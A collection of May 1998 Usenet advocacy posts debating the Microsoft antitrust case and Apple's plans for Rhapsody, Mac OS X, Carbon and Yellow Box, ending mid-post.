> because they are big. This is MS, by being big in the OS market, is using
> that advantage to virtually control the access point to the internet
> providing direct access to totally unrelated services which it owns, like
> auto buying, or tv listings to the absolute exclusion of competitors.
>
There are two issues being intertwined here. The first issue is the little
PA company being squashed by Microsoft adding another bloated feature to
Windows98. The second is access to the internet. The PA company is doomed.
Many small companies die when their "nitch market" becomes the focus of
a large company. This is legal.
Let me try to guess the argument you are trying to make. If Microsoft is
successful in stifling all other companys in computer related markets it
will become bad for consumers and, therefore, illegal.
One small hitch. Microsoft doesn't dominate the internet, yet. Most
arguments in this area tend towards Microsoft's potential abusive
power IN THE FUTURE. The DOJ needs here and now violations. No one,
not even Microsoft, can be tried for a crime yet to be commited. Even
if everyone KNOWS the crime is going to happen.
> >Even, if true. It does not excuse the DOJ's activities where they
> >DEMONSTRATED a lack to respect for legal precedents, District Court rules
> >and Contract Law.
>
> I don't know how strong that is, really.
>
Before I get out my trusty soap box...
(I can send you several past posts on this subject)
Are you doubting the extent of the DOJ's rule bending or are you questioning
its relevance or am I missing the point of your reply entirely?
> >The Plus pack included Internet Explorer, Dial-up server, Drivespace3,
> >System Scheduler and 3D Pinball.
> >
> >Eventually all of them were "integrated" into Windows95, except 3D Pinball.
>
> But they were not integrated at the time of the decree. They were
> separate.
Exactly. The DOJ could have filed Contempt Charges then. They did not.
<snip>
> >There are lots of separate products in Windows9x.
>
> Not added since 95 came out. And the separate ones added in 98 are being
> targetted as we speak.
>
I was afraid of this. Nit pick continues...
I was pointing out that several products WERE added into Windows95 AFTER
Windows95 first came out. The DOJ's Contempt Case was late and is weak.
The DOJ should have started anti-trust a long time ago. They waited until
it was "politically correct" to act.
> >What is so different about Windows98? If it is vital to the DOJ's case,
> >then, yes, the DOJ must allow it to be released BEFORE filing anti-trust
> >charges.
>
> What's different about Win98 is putting MS services like Carpoint right on
> the desktop for every PC shipped from here on out.
I have Windows98 RC0 release (April version). I do not know what you are
talking about. The Active Desktop Channels Guide has been available via
IE4.0 for sometime. I think Microsoft has indicated a willingness to
allow OEMs to turn off the active desktop for new PCs. That is what I
did seconds after Windows98 was installed.
<snip>
> That's unfair.
>
If OEMs can disable the Active Desktop, does this satisfy you?
> That's not an issue with 95.
>
Yes it was and is. IE4.0 has the same Active Desktop feature as Windows98.
<snip>
> >The DOJ has the burden of proof. Having 100% of a market is not a monopoly
> >if others can take it away from you.
>
> That's only one element of a monopoly. Another element is the
> 'chokepoint'. Another element is leveraging one product to generate a
> monopoly in another. MS can be argued to be a monopoly in all 3 manners:
> 1) by having nearly 100% of the OS marketplace. A better, IMO, argument is
> that MS has a monopoly in the Office suite space. Even though the
> marketshare percentages are slightly smaller, the fact that competitors
> products are unable to properly exchange information with Office users
> suggests that others cannot take it away. Word format documents are akin
> to legal tender in the marketplace. Unless MS is willing to publish the
> entire format specifications for their Office document formats, there is
> no reasonable ability for a competitor to take that market away.
>
I agree with you. Let's see if the DOJ persues it. There is one point.
The DOJ would have to prove Microsoft is abusing the Office monopoly
to get a Sherman Act violation conviction.
> 2) by using their position in the OS market to generate a monopoly in the
> web browser space. The mandatory integration of the two guarantees this
> will happen even before the product can ship. Should MS make IE an
> optional install, that guarantee goes away.
>
The first step is to prove Microsoft has monopoly in the OS market. People
want to assume this is easy to prove. But it does have to be proven first.
Proving a monopoly in the "Office Market" doesn't do any good here.
> 3) by integrating IE with 98, MS creates a chokepoint to the internet that
> drastically limits the abilities of certain vendors to compete. Those
> vendors are the ones competing with MS owned services, which can be
> assumed will never get direct access by users.
>
Microsoft does not have a monopoly in the Internet market, yet. They can't
be found guilty of abusing a monopoly they do not have.
> Many of the people against anti-trust like to point to how companies that
> have been targetted by anti-trust suits in the past ultimately lost their
> position in the marketplace. What they fail to note, however, is how it
> generally takes 10 or more years for that to happen. Do we all want to
> suffer thorough the MS dark ages of computing for that long?
>
Will society suffer irrepairable harm if the computer industry slowed down
for a few years? I hear a lot of compaints about the average person having
no understanding of how a computer works. Which camp are you in? Are you
for training the ignorant masses or are you for making software smart enough
that they don't have to be trained. I trust you are not in the group that
wants to ignore them and hope they go away.
> And as for MS's statement that they provide more value to the consumer for
> less money, a fresh shrinkwraped copy of 98 can cost as much as 25% of the
> cost of a computer now, likely an all-time high. OS's have never been so
> expensive.
I suspect the average OEM cost for Windows98 will be $40 to $60.
The Upgrade cost is $109 (retail).
I am assuming you are talking about the Full Retail Version.
My turn to question the relevancy. How many will buy this?
However you slice it I doubt that it is "an all-time high".
I used to configure and purchase DEC equipment for my place of employment.
Some of the DEC hardware almost made the threshhold of "reasonably priced"
but the software you were REQUIRED to purchase was very costly.
Or would you rather talk about commercial Unix Packages?
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 21:16:22 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et2J3A.9uw@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk>
<6jcjs4$6ns$1@msunews.cl.msu.edu>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
Cc: spammers@ruin.the.internet.channelu.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6jcjs4$6ns$1@msunews.cl.msu.edu>) by
spammers@ruin.the.internet.channelu.com:
> Scott let me know where to send the
> meth-amphetamine OK :)
Now I know what you're taking!
Not surprised at all! =;)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 20:34:07 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et2H4v.9LH@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
<Et02r1.4qs@micmac.com> <6ji464$n8h$1@msunews.cl.msu.edu>
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This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6ji464$n8h$1@msunews.cl.msu.edu>) by
spammers@ruin.the.internet.channelu.com:
> In <Et02r1.4qs@micmac.com> Michel Coste wrote:
> > This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> > (<6jco3t$6ns$3@msunews.cl.msu.edu>) by
> > spammers@ruin.the.internet.channelu.com:
> >
> > > So perhaps this is supposed to make me happy. Why in the heck
> > > would I want to write for Carbon when I can write for YB.
> >
> > Are you drunk or what?????? What do you smoke? banana?
>
> I guess you don't read my other posts. I went a bit off the handle
> on what monday or tuesday. But I have learned and come back
> on track.
I can't read what you'll write the next day!!! The fact that the next day
you have more clue is good for you but that don't give me extra-sensorial
abilities!
I answered to what you said that day... not the following day!
>
> So when I say why would I want to write for Carbon when I can write
> for YB what don't you get? It was a statement that since I'm not a
> MacOS developer Carbon doesn't have much interest for me.
It's not that I don't get something! It is you that don't get that my post
had nothing to do with your answer to it!
Your answer had absolutely nothing to do with what I was saying! When you
answer to a post you have to understand what the poster is talking about! Be
sure what you answer has something to do with what the poster says!
The fact that a post contains the word "carbon" don't allow you to answer to
it with just about anything the word carbon makes you think...
Especially when it is so aggresive as "So perhaps this is supposed to make
me happy" (once again completely out of the context of my post! - the
context was: Carbon on Intel would make available to Intel users a lot of
great existing Mac apps!)
>
> That it is an attempt by Apple to bring MacOS developers on
> board that I do understand - and I have stated this in others posts
> publically. Whether it will work I am doubtful, maybe some will
> come on board but I doubt the big players with 95/NT versions
> will find much interest. Time will tell.
>
> > I'm a NeXTist since a long long time and I don't understand how you
> read...
> > Carbon is an addition to Rhapsody. It's made to please some Mac
> developpers
> > not you!!!
> > It's clear for everybody with brain at the right place...
> > And none of my posts could suggest what you think you read...
>
> I don't want to even bother to review the complete thread on dejanews.
> The equation MacOS X = Rhapsody + Carbon (on PPC of course)
> is completely correct. Earlier I wasn't sure how Carbon related
> to BlueBox or not.
"Earlier" was the time of my answer!
> Now from what I've seen they are independant
> critters.
Your "Now" was not wrtten when I answered to you!
> I find it annoying that you'd just slam someone in the way
> you have w/o reading my followups.
Well!!!!! Once again I have not magical abilities: I can not read the
future!!!!
You have a problem mistaking the past, the present and the future!!!
You should bother you in real time!
>
> > Carbon is not made for writing apps... just for already written Mac
> apps!
>
> Duh. I already said that from my first post on. Why you take a spin
> off this one thing I'll not know.
>
If true I don't understand you reaction of fear!!! ("So perhaps this is
supposed to make me happy")
(...)
> Rhapsody then go for it. It seems no amount of Reason will stop your
> whining.
YOU were whining!!
>
> Frankly I only see slight problems here but nothing major enough for
> all
> this complaining and promotion of fears..
Your post was a post of fear!
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 20:51:37 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et2Hy1.9or@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
<6ja6ji$k4$3@news.idiom.com>
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Cc: jcr.remove@this.phrase.idiom.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6ja6ji$k4$3@news.idiom.com>) by John C. Randolph:
> Michael Benedetti may or may not have said:
>
> -> According to an account of Jobs' speech in the San Jose Mercury News,
> -> Apples plan is to roll the best elements of Rhapsody into MacOS X
> -> (multi-threading, protected memory etc).
>
> That may be a nice way to describe it to the MacOS paranoid conservatives,
Exactly!
> but the fact of the matter is that the kernal, filesystem, window system,
and
> driver code all come from Rhapsody. That's not "rolling elements in",
that's
> renaming an OS.
True!
>
> MacOS X is the same OS they were calling Rhapsody two days ago, and that's
a
> Good Thing. The MacOS is way past its prime.
>
Exactly!
Steve is just doing *some* marketing work. His plan is still the same (than
last year, than two years ago, than...).
I was hoping that more people here would know what marketing is and how
Steve is working but...
I guess most people like to complain. Especially in so called "advocacy"
groups.
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: Sat, 16 May 1998 22:13:45 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et2Lqx.A2A@micmac.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
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Cc: mpaque@wco.com
This was written in
comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer
(<1d93iik.1l170dz8etsaxN@carina47.wco.com>) by Mike Paquette:
> MacOS X will not require a PostScript interpreter. One will not be
> present in the base system. Therefore, one cannot reasonably process
> the existing NSHost protocol to a MacOS X system.
Is this for licence reasons or did Apple find a much better solution?
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Sat, 16 May 1998 21:09:11 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et2IrC.9rw@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com>
<slrn6lgnva.l2e.sal@panix3.panix.com> <01bd7de2$cca75080$04387880@test1>
<EsvywM.7vy@micmac.com> <355B19FD.4B662E7B@nospam.com>
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Cc: nospam@nospam.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<355B19FD.4B662E7B@nospam.com>) by Tim Triemstra:
>
> Steve is a great person for the developer, but he has no history in ever
> growing the business. I would want noone else to define the platform I
> develop apps for, but there is noone I would more distrust to make good
> long-term business decisions. He has a lot of charisma and he is doing
> great short term, but the long term has already changed three times
> since he got back to Apple. Apple OWNED the computer world and are now
> 4%.
>
>
Keep in mind that computer cycles last from 10 to 15 years. You have to
judge people's actions to that light.
Steve est the only responsable of the success of the Mac in the end of the
eighties.
His ousting is responsable of the failure of Apple in the nineties...
The 4% is only the result of Sculley and successors politics!
We still have to see the effects of the NeXT seeding...
mc
ps: and the three changes you're talking about are only cosmetics!
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone remember a certain NeXT video tape?
Date: Sat, 16 May 1998 22:03:01 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et2L91.9z8@micmac.com>
References: <6jjnrv$n53$8@news.idiom.com>
Mime-Version: 1.0
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Cc: jcr.remove@this.phrase.idiom.com
This was written in comp.sys.next.advocacy (<6jjnrv$n53$8@news.idiom.com>)
by John C. Randolph:
> I remember a video I saw back in '89 or so, in which two programmers were
> given the same task to do, one using NeXTStep and the other using Sun's
> developer tools. The Sun guy was more experienced, etc.
This started the "Sun guerilla" and was from _91_ (second half)... (I'm too
lazy to consult my archives)
Around that time Scott Mc Neally said something akin he prefered to have a
pin in the eye than to have something to do with Steve...
It was of course looooOOOng before OpenStep! =:)
mc
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 19:05:46 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-1605981906110001@port4.dial4.gain-ny.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <aa829-1105981902200001@port15.dial4.gain-ny.com> <6j82gs$9j3$2@newsfep4.sprintmail.com>
Mail-Copies-To: always
In article <6j82gs$9j3$2@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> > : Because Mac OS X will not run 68K code, the Mixed Mode Manager will not
> > : serve any useful purpose on that platform. In Mac OS 8, Carbon fully
> > : supports the Mixed Mode Manager.
>
> I think you forgot their is a difference between ppc code IN THE OS, versus
> the os RUNNING 68k code.
Huh? The Carbon white-paper explicitly says OS X will not RUN 68K code.
Read the section on the Mixed Mode Manager. What part of that don't you
understand?
---> Because Mac OS X will not run 68K code, ...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Rgds
--
mingo "at" panix "dot" com
Subject: Re: Rhapsody/Intel is Dead Too!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
In-Reply-To: <6jk3qs$a4a@ragnarok.en.uunet.de>
From: akira@home.com
Message-ID: <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>
Date: Sat, 16 May 1998 23:09:21 GMT
NNTP-Posting-Date: Sat, 16 May 1998 16:09:21 PDT
Organization: @Home Network
On 05/15/98, Holger Hoffstaette wrote:
>
>please no OS - since you're not in the OS business, right? HELLO?
>Has anybody of these 'managers' ever tried to get a PC without OS?
Apple has made it quite clear that foremost they are in the hardware
business and to support that they have to be in the OS business, at least
for PPC. Most of their money comes from hardware sales, not OS sales.
Sure, it's a stupid business model, but if they don't sell PPC's, they are
dead. Of course, I believe that they if they could do both, then they could
slowly migrate out of the hardware business and sell versions of
Rhapsody/MacOS for PPC, Intel, Alpha, Sparc, etc. and make a killing. NT
was supposed to be a cross cpu OS solution, and that isn't true anymore. I
was really hoping Rhapsody would take up that challenge.
>Unanswered questions so far:
>
>- Rhapsody/x86 will be developed until CR1, with DPS remaining
>as the imaging/rendering layer and display server. If MacOS X is supposed
>to have a new graphics layer (according to Mike) with the other APIs
>just sitting on top (which is cool), do they *seriously* expect me to
>believe that this layer will be available on later Rhapsody/x86 releases,
There will be NO more later Rhapsody/x86 releases. None, zero, zip! Unless
the market can convince Apple that it is appropriate to continue.
>especially if it's been developed to maximize PPC performance?
>They already have two YB graphics layer implementations to maintain
>(Rhapsody/PPC and YB/Windows on top of GDI), the third one (Rhap/x86)
>will most likely be a victim of the ROI bean counters.
My understanding is that Quicktime for Windows already has a port of some,
if not all, the Quickdraw libraries. Plus the direct-to-screen drawing
model fits in better with the Windows world, so we should actually see
improved performance in Windows.
>- the latest rumor is that McOS X will have a *Carbon* based Finder
>(the horror!). Since Carbon is not supposed to run on Rhapsody/x86
>'server', and Apple will hardly maintain two Finder/UI/Workspace code
You are forgetting, there will be NO more Rhapsody/x86 past Rhapsody 1.0.
MacOS X isn't coming out for another year after Rhapsody 1.0. Rhapsody 1.0
WILL have a YB finder. I rather doubt that will change for MacOS X.
>bases (especially not in this weird nonstandard YB thing), the
>Rhapsody/x86 server will be controlled...how?
>(I can already see it..Rhapsody Server, Intel edition - PPC and 3rd
>party tool required for GUI. Should sell like hot cakes. NOT.)
Repeat after me: No more Rhapsody/x86 after Rhapsody 1.0. Period. Direct
from Apple to me to you.
-d
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: BSD cli on OS X?
Date: Sat, 16 May 1998 19:11:26 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-1605981911260001@port4.dial4.gain-ny.com>
References: <6jbb79$akq$1@news.fas.harvard.edu>
Mail-Copies-To: always
In article <6jbb79$akq$1@news.fas.harvard.edu>,
stsamuel@momotaro.student.harvard.edu (Shawn Samuel) wrote:
> Is there a definitive answer to whether
> or not Apple is planning to include the
> option of a BSD cli in OS X?
Yes, and "yes" it will be present.
They had a session on this at WWDC. For a report see:
http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-BSD.html
Rgds
--
mingo "at" panix "dot" com
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 17:25:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355E123D.1939DF29@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
<355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
<355C787A.2B058D89@milestonerdl.com> <6jk8lv$1cc$51@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <355C787A.2B058D89@milestonerdl.com> M Rassbach wrote:
> > Apple comming out with a press release stating the plan to support NT 5.x
> would
> > put an end to it.
> Actions speak louder than words:
And silence while your competitors are laying out a plan, then executing the plan
is good just how?
When your company has a negative track record with deploying technology, and you
need to improve this record, why not:
1) Announce you are going to do something
2) Start doing it
3) Announce the beta shipments
4) Ship the beta
5) Announce a delivery date. (and be conservative...)
6) Meet the delivery date...or even make it eairler.
> In <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> Mike Paquette wrote:
> > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > for Windows works on Windows 98 Release Candidates and the Windows NT
> > 5.0 beta.
Can anyone point to a quicktime movie of this with a time index?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac
owners?)
Date: 16 May 1998 16:30:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1836F76-805D8@206.165.43.149>
References: <Et2IrC.9rw@micmac.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Michel Coste <nospam@micmac.com> said:
>Keep in mind that computer cycles last from 10 to 15 years. You have to
>judge people's actions to that light.
>
>Steve est the only responsable of the success of the Mac in the end of the
>eighties.
???
When was Jobs ousted from Apple?
>His ousting is responsable of the failure of Apple in the nineties...
>The 4% is only the result of Sculley and successors politics!
>
Sculley managed to take Apple from a $1 billion/year company to a $10
billion/year company.
>We still have to see the effects of the NeXT seeding...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Sat, 16 May 1998 19:34:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605981934140001@elk32.dol.net>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190> <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1605980710220001@elk81.dol.net> <355DEA86.6777F03@milestonerdl.com>
In article <355DEA86.6777F03@milestonerdl.com>, mark@milestonerdl.com wrote:
> Joe Ragosta wrote:
>
> > In article <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > Anyone have an update on GNUStep? Will it be able to run YB apps? If so,
> > that should eliminate the concerns about Apple dropping YB.
>
> GnuSTEP is based on the open API of OpenSTEP.
> www.gnustep.org
> http://www.gnustep.org/AboutGNUstep/ProgressOverview.html is a good overview.
>
> OpenSTEP -> YellowBox but YellowBox !-> OpenSTEP. Apple has added to
> OpenSTEP, hence YellowBox.
I knew that. But the question is, will they update GnuSTEP to include the
new YB calls?
>
> If one is wanting to be 'not tied to the fate of Apple' WRT YB, the best
> advice is the same given to people when they ask about TWIN (
> http://willows.com/ )....look at the GnuSTEP API, write to that, and only add
> in YB when it matters. That way, the only porting issues are YB related.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 19:36:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605981936090001@elk32.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com>
In article <nagleEt2nD0.5xF@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> joe.ragosta@dol.net (Joe Ragosta) writes:
> >In article <andyba-ya02408000R1505981738020001@news>,
> >andyba@corp.webtv.net (Andy Bates) wrote:
>
> >> And before WWDC, Apple had NO schedule for shipping of a modern mainstream
> >> OS. So now we have a definitie date. Again, what's the problem?
>
> Apple has had definite dates before. With Copland.
> Now we have another announcement of a date. Whether it's definite
> remains to be seen.
>
> I have a copy of "Mac OS 8 Revealed", by Tony Francis. (1996,
> Addison-Wesley, ISBN 0-201-47955-9). This is the book for Copland.
> It shows just how far Apple was willing to go in terms of making
> commitments they didn't keep.
>
> Never forget this.
Hmmm. And I guess MS never missed a ship date or changed their plans?
Everyone admits that Copland was a fiasco. Since Apple acquired NeXT,
their strategy is quite coherent and seems to be well-executed.
Worst, case, Unified will be 3-6 months late. That's compared to late
shipments measured in _years_ on the other side of the fence.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 16 May 1998 19:33:59 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5vhr5iye0.fsf@ai.mit.edu>
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com>
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
> In article <355c8237.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
> > I agree with that. For instance, why not just go to Display
> > Ghostscript instead of Quick draw. Seems like a LOT less work.
> > But what the heck do I know.
>
> Umm, how would DGS solve the problem?
Assuming that the main reason for the change was the royalty cost for
YB apps to deploy on Windows, DGS *would* solve that problem, since
it's a clean-room implementation of the DPS spec. It would be, in
effect, royalty free (Apple pays royalties to Adobe for the
implementation, not the language).
If they were more worried about other issues with DPS's design, then
it might not help as much.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
Date: Sat, 16 May 1998 19:42:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Message-ID: <joe.ragosta-1605981942370001@elk32.dol.net>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104> <pxpst2-1405981509500001@pelli.pathology.pitt.edu> <ericb-1505981731010001@132.236.171.104> <pxpst2-1605981342480001@pelli.pathology.pitt.edu>
In article <pxpst2-1605981342480001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter) wrote:
> In article <ericb-1505981731010001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> >
> > I wonder if they will bother supporting very many pre-G3 machines.
> > Certainly they could.
>
> I am pretty confidant that all PCI macs will be supported. But the "User
> experience" may be better with a G3
> >
> > But as far as Mach goes, MkLinux runs even on NuBus PPC Macs, although I'm
> > not sure which version of Mach it's using.
>
> True, MkLinux is on top of a Mach Kernal but it is not the same Mach
> Kernal, MkLinux uses 2.5 and Rhapsody has uses 3.0.
Rhapsody currently uses 2.5++++++.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 18:45:28 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1605981845280001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <ericb-1505981847060001@132.236.171.104> <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu> <see-below-1605981554430001@209.24.241.16>
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In article <see-below-1605981554430001@209.24.241.16>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
>
> > The point I think he's trying to make is that Mac OS X as a mainstream
> > replacement OS for the current Mac OS is late and that Rhapsody was
> > originally intended for that purpose in a shorter time frame than what is
> > now being pushed. Mac OS X is basically Rhapsody. Rhapsody was originally
> > intended to be a mainstream OS replacement for the Mac OS. As it became
> > clear that it wouldn't initially work out that way, Apple had to do
> > something. That something was the plan for Mac OS X.
> >
> > If he would just make this arguement without making complaints that YB is
> > dead, Rhapsopdy is dead, Mac OS X forces everyone to rewrite everything and
> > the like, I wouldn't have a problem with him.
>
>
> (I assume "he" is Jonathan Harker?)
Yup-siree-Mel (er somesuch ;)
> I agree that this is the point he is trying to make, but I disagree that
> it is a valid point, whether he states it clearly or not. At no point,
> from the initial announcement of Rhapsody over a year ago until the OS X
> announcement, did Apple ever announce, state, hint, or otherwise imply
> that Rhapsody or anything derived therefrom would be a consumer OS before
> the turn of the century. Never. In fact, they blatantly stated that it
> would _not_ be a consumer OS in this century, and made a point of dropping
> quite a few hints in various places to that effect, particularly after
> some people started wrongly assuming that it might be.
Yes. I think a lot of us (though apparently not you :) tend to ignore this
and believe what we hoped would happen. It occured to me a few months ago
Rhapsody couldn't possibly replace the Mac OS right away. Since the
announcement, I rather forgot about it in all the hub-bub.
Even if it were perfect as an OS, it would take a while to be accepted into
the mainstream in place of the Mac OS. Rhapsody renamed and slipped into
the same position as Mac OS with better and more transparent backwards
compatibility could more easily serve as a replacement especially after
some developers have had some time to play with the shipping version
(Rhapsody 1.0) and get out some apps.
> That being the fact, there is no case to be made that Rhapsody as a
> consumer OS could in any way be "late" by only shipping in the form of
> MacOS X in late 1999.
People believing that Rhapsody would replace the Mac OS immediately were
